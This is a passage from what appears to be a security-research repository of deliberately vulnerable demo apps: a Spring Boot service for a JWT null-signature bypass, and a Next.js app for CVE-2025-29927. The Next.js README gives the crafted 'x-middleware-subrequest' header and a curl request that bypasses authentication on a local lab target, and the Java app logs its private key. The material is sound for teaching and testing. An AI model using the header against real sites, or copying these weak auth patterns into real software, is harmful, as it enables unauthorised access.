Java installation. 64 | 65 | goto fail 66 | 67 | :execute 68 | @rem Setup the command line 69 | 70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 71 | 72 | 73 | @rem Execute Gradle 74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* 75 | 76 | :end 77 | @rem End local scope for the variables with windows NT shell 78 | if "%ERRORLEVEL%"=="0" goto mainEnd 79 | 80 | :fail 81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 82 | rem the _cmd.exe /c_ return code! 83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 84 | exit /b 1 85 | 86 | :mainEnd 87 | if "%OS%"=="Windows_NT" endlocal 88 | 89 | :omega 90 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'jwt-null-signature' 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/src/main/java/com/datadog/sample/jwtnullsignature/AuthorizationService.java: -------------------------------------------------------------------------------- 1 | package com.datadog.sample.jwtnullsignature; 2 | 3 | import io.jsonwebtoken.JwtException; 4 | import io.jsonwebtoken.JwtParser; 5 | import io.jsonwebtoken.Jwts; 6 | import io.jsonwebtoken.SignatureAlgorithm; 7 | import io.jsonwebtoken.security.Keys; 8 | import org.slf4j.Logger; 9 | import org.slf4j.LoggerFactory; 10 | import org.springframework.stereotype.Service; 11 | 12 | import java.security.KeyPair; 13 | import java.util.Base64; 14 | 15 | @Service 16 | public class AuthorizationService { 17 | 18 | 19 | final static Logger logger = LoggerFactory.getLogger(AuthorizationService.class); 20 | 21 | private final KeyPair keyPair; 22 | private final JwtParser jwtVerifier; 23 | 24 | 25 | public AuthorizationService() { 26 | // We generate a new set of signing keys at every run, because we don't care about them for the purposes of demonstrating the bypass 27 | this.keyPair = Keys.keyPairFor(SignatureAlgorithm.ES256); 28 | this.jwtVerifier = Jwts.parserBuilder().setSigningKey(keyPair.getPublic()).build(); 29 | logger.info("Using private key: \n" + "-----BEGIN PRIVATE KEY-----\n" + Base64.getEncoder().encodeToString(keyPair.getPrivate().getEncoded()) + "\n-----END PRIVATE KEY-----\n"); 30 | } 31 | 32 | private boolean isValidJWT(String jwt) { 33 | try { 34 | jwtVerifier.parseClaimsJws(jwt); 35 | return true; 36 | } catch (JwtException e) { 37 | return false; 38 | } 39 | } 40 | 41 | public String getClaim(String jwt, String claim) throws UnauthorizedException { 42 | if (!isValidJWT(jwt)) { 43 | throw new UnauthorizedException(); 44 | } 45 | return this.jwtVerifier.parseClaimsJws(jwt).getBody().get(claim, String.class); 46 | } 47 | 48 | public String getSubject(String jwt) throws UnauthorizedException { 49 | return getClaim(jwt, "sub"); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/src/main/java/com/datadog/sample/jwtnullsignature/JwtNullSignatureApplication.java: -------------------------------------------------------------------------------- 1 | package com.datadog.sample.jwtnullsignature; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class JwtNullSignatureApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(JwtNullSignatureApplication.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/src/main/java/com/datadog/sample/jwtnullsignature/MainController.java: -------------------------------------------------------------------------------- 1 | package com.datadog.sample.jwtnullsignature; 2 | 3 | import org.springframework.beans.factory.annotation.Autowired; 4 | import org.springframework.http.HttpStatus; 5 | import org.springframework.http.ResponseEntity; 6 | import org.springframework.web.bind.annotation.GetMapping; 7 | import org.springframework.web.bind.annotation.RequestHeader; 8 | import org.springframework.web.bind.annotation.RestController; 9 | 10 | @RestController 11 | public class MainController { 12 | 13 | static String BEARER_PREFIX = "Bearer "; 14 | 15 | @Autowired 16 | AuthorizationService authorizationService; 17 | 18 | @GetMapping("/") 19 | public ResponseEntity index(@RequestHeader(value = "authorization", required = false) String authorizationHeader) { 20 | if (authorizationHeader == null || authorizationHeader.isEmpty()) { 21 | return new ResponseEntity<>("You are not authorized to access this endpoint", HttpStatus.UNAUTHORIZED); 22 | } 23 | 24 | // We expect a header of the form "Authorization: Bearer " 25 | if (!authorizationHeader.startsWith(BEARER_PREFIX)) { 26 | return new ResponseEntity<>("Bad request", HttpStatus.BAD_REQUEST); 27 | } 28 | 29 | String jwt = authorizationHeader.substring(BEARER_PREFIX.length()).trim(); 30 | try { 31 | String subject = authorizationService.getSubject(jwt); 32 | return new ResponseEntity<>("Hello, " + subject + "!", HttpStatus.OK); 33 | } catch (UnauthorizedException exception) { 34 | return new ResponseEntity<>("Invalid JWT", HttpStatus.UNAUTHORIZED); 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/src/main/java/com/datadog/sample/jwtnullsignature/UnauthorizedException.java: -------------------------------------------------------------------------------- 1 | package com.datadog.sample.jwtnullsignature; 2 | 3 | public class UnauthorizedException extends Exception { 4 | } 5 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/jwt-null-signature-vulnerable-app/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | .yarn/install-state.gz 8 | 9 | # testing 10 | /coverage 11 | 12 | # next.js 13 | /.next/ 14 | /out/ 15 | 16 | # production 17 | /build 18 | 19 | # misc 20 | .DS_Store 21 | *.pem 22 | 23 | # debug 24 | npm-debug.log* 25 | yarn-debug.log* 26 | yarn-error.log* 27 | 28 | # local env files 29 | .env*.local 30 | 31 | # vercel 32 | .vercel 33 | 34 | # typescript 35 | *.tsbuildinfo 36 | next-env.d.ts 37 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:18-alpine 2 | 3 | WORKDIR /app 4 | 5 | COPY package.json package-lock.json ./ 6 | RUN npm install 7 | 8 | COPY . . 9 | 10 | EXPOSE 3000 11 | 12 | CMD ["npm", "run", "dev"] -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/README.md: -------------------------------------------------------------------------------- 1 | # Next.js Middleware Exploit: CVE-2025-29927 Authorization Bypass POC 2 | This folder contains a sample web application vulnerable to [CVE-2025-29927](https://zeropath.com/blog/nextjs-middleware-cve-2025-29927-auth-bypass), an authorization bypass vulnerability in NextJS when an attacker adds a specially-crafted HTTP header. 3 | 4 | ## Running the application 5 | 6 | Run it: 7 | 8 | 9 | ``` 10 | docker build . -t vulnerable-app 11 | docker run -p 3000:3000 --name vulnerable-app --rm vulnerable-app 12 | ``` 13 | 14 | ## Exploitation steps 15 | 16 | The application has a private endpoint `/private` that is accessible only by authenticated users. 17 | 18 | 19 | You can bypass authentication by adding the following HTTP header to the request: 20 | 21 | ``` 22 | x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware 23 | ``` 24 | 25 | Example 26 | 27 | ``` 28 | curl --request GET \ 29 | --url http://localhost:3000/private \ 30 | --header 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 31 | ``` -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/app/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DataDog/security-labs-pocs/b65ff27cec0a1593796d11a41094da4a005b8ba4/proof-of-concept-exploits/nextjs-cve-2025-29927/app/favicon.ico -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/app/fonts/GeistMonoVF.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DataDog/security-labs-pocs/b65ff27cec0a1593796d11a41094da4a005b8ba4/proof-of-concept-exploits/nextjs-cve-2025-29927/app/fonts/GeistMonoVF.woff -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/app/fonts/GeistVF.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DataDog/security-labs-pocs/b65ff27cec0a1593796d11a41094da4a005b8ba4/proof-of-concept-exploits/nextjs-cve-2025-29927/app/fonts/GeistVF.woff -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/app/globals.css: -------------------------------------------------------------------------------- 1 | :root { 2 | --background: #ffffff; 3 | --foreground: #171717; 4 | } 5 | 6 | @media (prefers-color-scheme: dark) { 7 | :root { 8 | --background: #0a0a0a; 9 | --foreground: #ededed; 10 | } 11 | } 12 | 13 | html, 14 | body { 15 | max-width: 100vw; 16 | overflow-x: hidden; 17 | } 18 | 19 | body { 20 | color: var(--foreground); 21 | background: var(--background); 22 | font-family: Arial, Helvetica, sans-serif; 23 | -webkit-font-smoothing: antialiased; 24 | -moz-osx-font-smoothing: grayscale; 25 | } 26 | 27 | * { 28 | box-sizing: border-box; 29 | padding: 0; 30 | margin: 0; 31 | } 32 | 33 | a { 34 | color: inherit; 35 | text-decoration: none; 36 | } 37 | 38 | @media (prefers-color-scheme: dark) { 39 | html { 40 | color-scheme: dark; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/app/layout.js: -------------------------------------------------------------------------------- 1 | import localFont from "next/font/local"; 2 | import "./globals.css"; 3 | 4 | const geistSans = localFont({ 5 | src: "./fonts/GeistVF.woff", 6 | variable: "--font-geist-sans", 7 | weight: "100 900", 8 | }); 9 | const geistMono = localFont({ 10 | src: "./fonts/GeistMonoVF.woff", 11 | variable: "--font-geist-mono", 12 | weight: "100 900", 13 | }); 14 | 15 | export const metadata = { 16 | title: "Create Next App", 17 | description: "Generated by create next app", 18 | }; 19 | 20 | export default function RootLayout({ children }) { 21 | return ( 22 | 23 | 24 | {children} 25 | 26 | 27 | ); 28 | } 29 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/app/page.js: -------------------------------------------------------------------------------- 1 | import Image from "next/image"; 2 | import styles from "./page.module.css"; 3 | 4 | export default function Home() { 5 | return ( 6 |
7 |
8 | Next.js logo 16 |
    17 |
  1. 18 | Get started by editing app/page.js. 19 |
  2. 20 |
  3. Save and see your changes instantly.
  4. 21 |
22 | 23 | 48 |
49 | 93 |
94 | ); 95 | } 96 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/app/page.module.css: -------------------------------------------------------------------------------- 1 | .page { 2 | --gray-rgb: 0, 0, 0; 3 | --gray-alpha-200: rgba(var(--gray-rgb), 0.08); 4 | --gray-alpha-100: rgba(var(--gray-rgb), 0.05); 5 | 6 | --button-primary-hover: #383838; 7 | --button-secondary-hover: #f2f2f2; 8 | 9 | display: grid; 10 | grid-template-rows: 20px 1fr 20px; 11 | align-items: center; 12 | justify-items: center; 13 | min-height: 100svh; 14 | padding: 80px; 15 | gap: 64px; 16 | font-family: var(--font-geist-sans); 17 | } 18 | 19 | @media (prefers-color-scheme: dark) { 20 | .page { 21 | --gray-rgb: 255, 255, 255; 22 | --gray-alpha-200: rgba(var(--gray-rgb), 0.145); 23 | --gray-alpha-100: rgba(var(--gray-rgb), 0.06); 24 | 25 | --button-primary-hover: #ccc; 26 | --button-secondary-hover: #1a1a1a; 27 | } 28 | } 29 | 30 | .main { 31 | display: flex; 32 | flex-direction: column; 33 | gap: 32px; 34 | grid-row-start: 2; 35 | } 36 | 37 | .main ol { 38 | font-family: var(--font-geist-mono); 39 | padding-left: 0; 40 | margin: 0; 41 | font-size: 14px; 42 | line-height: 24px; 43 | letter-spacing: -0.01em; 44 | list-style-position: inside; 45 | } 46 | 47 | .main li:not(:last-of-type) { 48 | margin-bottom: 8px; 49 | } 50 | 51 | .main code { 52 | font-family: inherit; 53 | background: var(--gray-alpha-100); 54 | padding: 2px 4px; 55 | border-radius: 4px; 56 | font-weight: 600; 57 | } 58 | 59 | .ctas { 60 | display: flex; 61 | gap: 16px; 62 | } 63 | 64 | .ctas a { 65 | appearance: none; 66 | border-radius: 128px; 67 | height: 48px; 68 | padding: 0 20px; 69 | border: none; 70 | border: 1px solid transparent; 71 | transition: background 0.2s, color 0.2s, border-color 0.2s; 72 | cursor: pointer; 73 | display: flex; 74 | align-items: center; 75 | justify-content: center; 76 | font-size: 16px; 77 | line-height: 20px; 78 | font-weight: 500; 79 | } 80 | 81 | a.primary { 82 | background: var(--foreground); 83 | color: var(--background); 84 | gap: 8px; 85 | } 86 | 87 | a.secondary { 88 | border-color: var(--gray-alpha-200); 89 | min-width: 180px; 90 | } 91 | 92 | .footer { 93 | grid-row-start: 3; 94 | display: flex; 95 | gap: 24px; 96 | } 97 | 98 | .footer a { 99 | display: flex; 100 | align-items: center; 101 | gap: 8px; 102 | } 103 | 104 | .footer img { 105 | flex-shrink: 0; 106 | } 107 | 108 | /* Enable hover only on non-touch devices */ 109 | @media (hover: hover) and (pointer: fine) { 110 | a.primary:hover { 111 | background: var(--button-primary-hover); 112 | border-color: transparent; 113 | } 114 | 115 | a.secondary:hover { 116 | background: var(--button-secondary-hover); 117 | border-color: transparent; 118 | } 119 | 120 | .footer a:hover { 121 | text-decoration: underline; 122 | text-underline-offset: 4px; 123 | } 124 | } 125 | 126 | @media (max-width: 600px) { 127 | .page { 128 | padding: 32px; 129 | padding-bottom: 80px; 130 | } 131 | 132 | .main { 133 | align-items: center; 134 | } 135 | 136 | .main ol { 137 | text-align: center; 138 | } 139 | 140 | .ctas { 141 | flex-direction: column; 142 | } 143 | 144 | .ctas a { 145 | font-size: 14px; 146 | height: 40px; 147 | padding: 0 16px; 148 | } 149 | 150 | a.secondary { 151 | min-width: auto; 152 | } 153 | 154 | .footer { 155 | flex-wrap: wrap; 156 | align-items: center; 157 | justify-content: center; 158 | } 159 | } 160 | 161 | @media (prefers-color-scheme: dark) { 162 | .logo { 163 | filter: invert(); 164 | } 165 | } 166 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/app/private/page.js: -------------------------------------------------------------------------------- 1 | export default function Private() { 2 | return ( 3 |
4 |

Private Page

5 |

Only Authenicated people can access it.

6 |
7 | ); 8 | } -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/jsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "paths": { 4 | "@/*": ["./*"] 5 | } 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/middleware.js: -------------------------------------------------------------------------------- 1 | import { NextResponse } from 'next/server'; 2 | 3 | export function middleware(request) { 4 | const authHeader = request.headers.get("authorization"); 5 | const isAuthenticated = authHeader === 'secret-token'; 6 | 7 | // If trying to access a private route without authentication 8 | if (request.nextUrl.pathname.startsWith('/private') && !isAuthenticated) { 9 | return NextResponse.json( 10 | { 11 | error: "Unauthorized", 12 | }, 13 | { status: 401 } 14 | ); 15 | } 16 | 17 | return NextResponse.next(); 18 | } 19 | 20 | // Apply middleware only to private routes 21 | export const config = { 22 | matcher: ['/private/:path*'], 23 | }; -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/next.config.mjs: -------------------------------------------------------------------------------- 1 | /** @type {import('next').NextConfig} */ 2 | const nextConfig = {}; 3 | 4 | export default nextConfig; 5 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/nextjs-cve-2025-29927/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "next-auth-routes", 3 | "version": "0.1.0", 4 | "lockfileVersion": 3, 5 | "requires": true, 6 | "packages": { 7 | "": { 8 | "name": "next-auth-routes", 9 | "version": "0.1.0", 10 | "dependencies": { 11 | "next": "14.2.24", 12 | "react": "^18", 13 | "react-dom": "^18" 14 | } 15 | }, 16 | "node_modules/@next/env": { 17 | "version": "14.2.24", 18 | "resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.24.tgz", 19 | "integrity": "sha512-LAm0Is2KHTNT6IT16lxT+suD0u+VVfYNQqM+EJTKuFRRuY2z+zj01kueWXPCxbMBDt0B5vONYzabHGUNbZYAhA==", 20 | "license": "MIT" 21 | }, 22 | "node_modules/@next/swc-darwin-arm64": { 23 | "version": "14.2.24", 24 | "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.24.tgz", 25 | "integrity": "sha512-7Tdi13aojnAZGpapVU6meVSpNzgrFwZ8joDcNS8cJVNuP3zqqrLqeory9Xec5TJZR/stsGJdfwo8KeyloT3+rQ==", 26 | "cpu": [ 27 | "arm64" 28 | ], 29 | "license": "MIT", 30 | "optional": true, 31 | "os": [ 32 | "darwin" 33 | ], 34 | "engines": { 35 | "node": ">= 10" 36 | } 37 | }, 38 | "node_modules/@next/swc-darwin-x64": { 39 | "version": "14.2.24", 40 | "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.24.tgz", 41 | "integrity": "sha512-lXR2WQqUtu69l5JMdTwSvQUkdqAhEWOqJEYUQ21QczQsAlNOW2kWZCucA6b3EXmPbcvmHB1kSZDua/713d52xg==", 42 | "cpu": [ 43 | "x64" 44 | ], 45 | "license": "MIT", 46 | "optional": true, 47 | "os": [ 48 | "darwin" 49 | ], 50 | "engines": { 51 | "node": ">= 10" 52 | } 53 | }, 54 | "node_modules/@next/swc-linux-arm64-gnu": { 55 | "version": "14.2.24", 56 | "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.24.tgz", 57 | "integrity": "sha512-nxvJgWOpSNmzidYvvGDfXwxkijb6hL9+cjZx1PVG6urr2h2jUqBALkKjT7kpfurRWicK6hFOvarmaWsINT1hnA==", 58 | "cpu": [ 59 | "arm64" 60 | ], 61 | "license": "MIT", 62 | "optional": true, 63 | "os": [ 64 | "linux" 65 | ], 66 | "engines": { 67 | "node": ">= 10" 68 | } 69 | }, 70 | "node_modules/@next/swc-linux-arm64-musl": { 71 | "version": "14.2.24", 72 | "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.24.tgz", 73 | "integrity": "sha512-PaBgOPhqa4Abxa3y/P92F3kklNPsiFjcjldQGT7kFmiY5nuFn8ClBEoX8GIpqU1ODP2y8P6hio6vTomx2Vy0UQ==", 74 | "cpu": [ 75 | "arm64" 76 | ], 77 | "license": "MIT", 78 | "optional": true, 79 | "os": [ 80 | "linux" 81 | ], 82 | "engines": { 83 | "node": ">= 10" 84 | } 85 | }, 86 | "node_modules/@next/swc-linux-x64-gnu": { 87 | "version": "14.2.24", 88 | "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.24.tgz", 89 | "integrity": "sha512-vEbyadiRI7GOr94hd2AB15LFVgcJZQWu7Cdi9cWjCMeCiUsHWA0U5BkGPuoYRnTxTn0HacuMb9NeAmStfBCLoQ==", 90 | "cpu": [ 91 | "x64" 92 | ], 93 | "license": "MIT", 94 | "optional": true, 95 | "os": [ 96 | "linux" 97 | ], 98 | "engines": { 99 | "node": ">= 10" 100 | } 101 | }, 102 | "node_modules/@next/swc-linux-x64-musl": { 103 | "version": "14.2.24", 104 | "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.24.tgz", 105 | "integrity": "sha512-df0FC9ptaYsd8nQCINCzFtDWtko8PNRTAU0/+d7hy47E0oC17tI54U/0NdGk7l/76jz1J377dvRjmt6IUdkpzQ==", 106 | "cpu": [ 107 | "x64" 108 | ], 109 | "license": "MIT", 110 | "optional": true, 111 | "os": [ 112 | "linux" 113 | ], 114 | "engines": { 115 | "node": ">= 10" 116 | } 117 | }, 118 | "node_modules/@next/swc-win32-arm64-msvc": { 119 | "version": "14.2.24", 120 | "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.24.tgz", 121 | "integrity": "sha512-ZEntbLjeYAJ286eAqbxpZHhDFYpYjArotQ+/TW9j7UROh0DUmX7wYDGtsTPpfCV8V+UoqHBPU7q9D4nDNH014Q==", 122 | "cpu": [ 123 | "arm64" 124 | ], 125 | "license": "MIT", 126 | "optional": true, 127 | "os": [ 128 | "win32" 129 | ], 130 | "engines": { 131 | "node": ">= 10" 132 | } 133 | }, 134 | "node_modules/@next/swc-win32-ia32-msvc": { 135 | "version": "14.2.24", 136 | "resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.24.tgz", 137 | "integrity": "sha512-9KuS+XUXM3T6v7leeWU0erpJ6NsFIwiTFD5nzNg8J5uo/DMIPvCp3L1Ao5HjbHX0gkWPB1VrKoo/Il4F0cGK2Q==", 138 | "cpu": [ 139 | "ia32" 140 | ], 141 | "license": "MIT", 142 | "optional": true, 143 | "os": [ 144 | "win32" 145 | ], 146 | "engines": { 147 | "node": ">= 10" 148 | } 149 | }, 150 | "node_modules/@next/swc-win32-x64-msvc": { 151 | "version": "14.2.24", 152 | "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.24.tgz", 153 | "integrity": "sha512-cXcJ2+x0fXQ2CntaE00d7uUH+u1Bfp/E0HsNQH79YiLaZE5Rbm7dZzyAYccn3uICM7mw+DxoMqEfGXZtF4Fgaw==", 154 | "cpu": [ 155 | "x64" 156 | ], 157 | "license": "MIT", 158 | "optional": true, 159 | "os": [ 160 | "win32" 161 | ], 162 | "engines": { 163 | "node": ">= 10" 164 | } 165 | }, 166 | "node_modules/@swc/counter": { 167 | "version": "0.1.3", 168 | "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz", 169 | "integrity": "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ==", 170 | "license": "Apache-2.0" 171 | }, 172 | "node_modules/@swc/helpers": { 173 | "version": "0.5.5", 174 | "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.5.tgz", 175 | "integrity": "sha512-KGYxvIOXcceOAbEk4bi/dVLEK9z8sZ0uBB3Il5b1rhfClSpcX0yfRO0KmTkqR2cnQDymwLB+25ZyMzICg/cm/A==", 176 | "license": "Apache-2.0", 177 | "dependencies": { 178 | "@swc/counter": "^0.1.3", 179 | "tslib": "^2.4.0" 180 | } 181 | }, 182 | "node_modules/busboy": { 183 | "version": "1.6.0", 184 | "resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz", 185 | "integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==", 186 | "dependencies": { 187 | "streamsearch": "^1.1.0" 188 | }, 189 | "engines": { 190 | "node": ">=10.16.0" 191 | } 192 | }, 193 | "node_modules/caniuse-lite": { 194 | "version": "1.0.30001707", 195 | "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001707.tgz", 196 | "integrity": "sha512-3qtRjw/HQSMlDWf+X79N206fepf4SOOU6SQLMaq/0KkZLmSjPxAkBOQQ+FxbHKfHmYLZFfdWsO3KA90ceHPSnw==", 197 | "funding": [ 198 | { 199 | "type": "opencollective", 200 | "url": "https://opencollective.com/browserslist" 201 | }, 202 | { 203 | "type": "tidelift", 204 | "url": "https://tidelift.com/funding/github/npm/caniuse-lite" 205 | }, 206 | { 207 | "type": "github", 208 | "url": "https://github.com/sponsors/ai" 209 | } 210 | ], 211 | "license": "CC-BY-4.0" 212 | }, 213 | "node_modules/client-only": { 214 | "version": "0.0.1", 215 | "resolved": "https://registry.npmjs.org/client-only/-/client-only-0.0.1.tgz", 216 | "integrity": "sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==", 217 | "license": "MIT" 218 | }, 219 | "node_modules/graceful-fs": { 220 | "version": "4.2.11", 221 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", 222 | "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", 223 | "license": "ISC" 224 | }, 225 | "node_modules/js-tokens": { 226 | "version": "4.0.0", 227 | "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", 228 | "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", 229 | "license": "MIT" 230 | }, 231 | "node_modules/loose-envify": { 232 | "version": "1.4.0", 233 | "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", 234 | "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", 235 | "license": "MIT", 236 | "dependencies": { 237 | "js-tokens": "^3.0.0 || ^4.0.0" 238 | }, 239 | "bin": { 240 | "loose-envify": "cli.js" 241 | } 242 | }, 243 | "node_modules/nanoid": { 244 | "version": "3.3.11", 245 | "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", 246 | "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", 247 | "funding": [ 248 | { 249 | "type": "github", 250 | "url": "https://github.com/sponsors/ai" 251 | } 252 | ], 253 | "license": "MIT", 254 | "bin": { 255 | "nanoid": "bin/nanoid.cjs" 256 | }, 257 | "engines": { 258 | "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" 259 | } 260 | }, 261 | "node_modules/next": { 262 | "version": "14.2.24", 263 | "resolved": "https://registry.npmjs.org/next/-/next-14.2.24.tgz", 264 | "integrity": "sha512-En8VEexSJ0Py2FfVnRRh8gtERwDRaJGNvsvad47ShkC2Yi8AXQPXEA2vKoDJlGFSj5WE5SyF21zNi4M5gyi+SQ==", 265 | "license": "MIT", 266 | "dependencies": { 267 | "@next/env": "14.2.24", 268 | "@swc/helpers": "0.5.5", 269 | "busboy": "1.6.0", 270 | "caniuse-lite": "^1.0.30001579", 271 | "graceful-fs": "^4.2.11", 272 | "postcss": "8.4.31", 273 | "styled-jsx": "5.1.1" 274 | }, 275 | "bin": { 276 | "next": "dist/bin/next" 277 | }, 278 | "engines": { 279 | "node": ">=18.17.0" 280 | }, 281 | "optionalDependencies": { 282 | "@next/swc-darwin-arm64": "14.2.24", 283 | "@next/swc-darwin-x64": "14.2.24", 284 | "@next/swc-linux-arm64-gnu": "14.2.24", 285 | "@next/swc-linux-arm64-musl": "14.2.24", 286 | "@next/swc-linux-x64-gnu": "14.2.24", 287 | "@next/swc-linux-x64-musl": "14.2.24", 288 | "@next/swc-win32-arm64-msvc": "14.2.24", 289 | "@next/swc-win32-ia32-msvc": "14.2.24", 290 | "@next/swc-win32-x64-msvc": "14.2.24" 291 | }, 292 | "peerDependencies": { 293 | "@opentelemetry/api": "^1.1.0", 294 | "@playwright/test": "^1.41.2", 295 | "react": "^18.2.0", 296 | "react-dom": "^18.2.0", 297 | "sass": "^1.3.0" 298 | }, 299 | "peerDependenciesMeta": { 300 | "@opentelemetry/api": { 301 | "optional": true 302 | }, 303 | "@playwright/test": { 304 | "optional": true 305 | }, 306 | "sass": { 307 | "optional": true 308 | } 309 | } 310 | }, 311 | "node_modules/picocolors": { 312 | "version": "1.1.1", 313 | "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", 314 | "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", 315 | "license": "ISC" 316 | }, 317 | "node_modules/postcss": { 318 | "version": "8.4.31", 319 | "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.31.tgz", 320 | "integrity": "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==", 321 | "funding": [ 322 | { 323 | "type": "opencollective", 324 | "url": "https://opencollective.com/postcss/" 325 | }, 326 | { 327 | "type": "tidelift", 328 | "url": "https://tidelift.com/funding/github/npm/postcss" 329 | }, 330 | { 331 | "type": "github", 332 | "url": "https://github.com/sponsors/ai" 333 | } 334 | ], 335 | "license": "MIT", 336 | "dependencies": { 337 | "nanoid": "^3.3.6", 338 | "picocolors": "^1.0.0", 339 | "source-map-js": "^1.0.2" 340 | }, 341 | "engines": { 342 | "node": "^10 || ^12 || >=14" 343 | } 344 | }, 345 | "node_modules/react": { 346 | "version": "18.3.1", 347 | "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz", 348 | "integrity": 